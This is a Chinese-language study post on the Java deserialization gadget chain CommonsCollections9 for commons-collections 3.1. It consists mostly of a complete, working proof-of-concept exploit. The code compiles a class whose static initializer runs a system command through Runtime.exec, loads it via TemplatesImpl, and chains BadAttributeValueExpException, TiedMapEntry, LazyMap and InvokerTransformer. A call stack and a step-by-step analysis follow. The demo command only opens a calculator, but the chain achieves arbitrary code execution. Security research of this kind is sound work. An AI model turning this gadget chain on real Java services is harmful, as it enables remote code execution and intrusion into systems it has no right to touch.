Java反序列化修炼计划 CommonsCollections9

CC8+CC5。

影响版本

<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.1</version>
</dependency>

POC

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC9 {
    public static void main(String[] args) throws Exception {
        // 字节码
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = pool.makeClass("Cat");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");";
        cc.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "EvilCat" + System.nanoTime();
        cc.setName(randomClassName);
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));

        // CC2 _tfactory成员变量会在反序列化调用构造方法时自动创建赋值
        byte[] classBytes = cc.toBytecode();
        byte[][] targetByteCodes = new byte[][] {classBytes};
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setFieldValue(templates, "_bytecodes", targetByteCodes);
        setFieldValue(templates, "_name", "name");
        setFieldValue(templates, "_class", null);

        InvokerTransformer transformer = new InvokerTransformer("toString", null, null);
        Map innerMap = new HashMap();
        Map lazyMap = LazyMap.decorate(innerMap, transformer);

        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates);
        BadAttributeValueExpException exception = new BadAttributeValueExpException(1);

        setFieldValue(exception, "val", tiedMapEntry);
        setFieldValue(transformer, "iMethodName", "newTransformer");

        try {
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./CC9"));
            outputStream.writeObject(exception);
            outputStream.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./CC9"));
            inputStream.readObject();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static void setFieldValue(final Object obj, final String fieldName, final Object value)
            throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);
    }

    public static Field getField(final Class<?> clazz, final String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            field.setAccessible(true);
        } catch (NoSuchFieldException ex) {
            if (clazz.getSuperclass() != null) field = getField(clazz.getSuperclass(), fieldName);
        }
        return field;
    }
}

调用栈

exec:347, Runtime (java.lang)
<clinit>:-1, EvilCat88341941093958
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:422, Constructor (java.lang.reflect)
newInstance:442, Class (java.lang)
getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
transform:125, InvokerTransformer (org.apache.commons.collections.functors)
get:151, LazyMap (org.apache.commons.collections.map)
getValue:73, TiedMapEntry (org.apache.commons.collections.keyvalue)
toString:131, TiedMapEntry (org.apache.commons.collections.keyvalue)
readObject:86, BadAttributeValueExpException (javax.management)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1900, ObjectInputStream (java.io)
readOrdinaryObject:1801, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
readObject:371, ObjectInputStream (java.io)
main:57, CC9

分析

把TreeBag换成了BadAttributeValueExpException+LazyMap来触发，也没啥好说的，简单过一遍。

BadAttributeValueExpException#readObject调用了valObj.toString()，此时valObj为TiedMapEntry，因此跳到TiedMapEntry#toString。

public String toString() {
    return getKey() + "=" + getValue();
}

然后TiedMapEntry#toString转TiedMapEntry#getValue，此时map为LazyMap。

public Object getValue() {
    return map.get(key);
}

因此触发LazyMap#get，而这时factory为InvokerTransformer，key为TemplatesImpl。

public Object get(Object key) {
    // create value for key if key is not currently in the map
    if (map.containsKey(key) == false) {
        Object value = factory.transform(key);
        map.put(key, value);
        return value;
    }
    return map.get(key);
}

InvokerTransformer#transform反射调用，执行TemplatesImpl#newTransformer，反射执行恶意字节码。

public Object transform(Object input) {
    // ...
    Class cls = input.getClass();
    Method method = cls.getMethod(iMethodName, iParamTypes);
    return method.invoke(input, iArgs);
    // ...
}

Refer

CommonsCollections9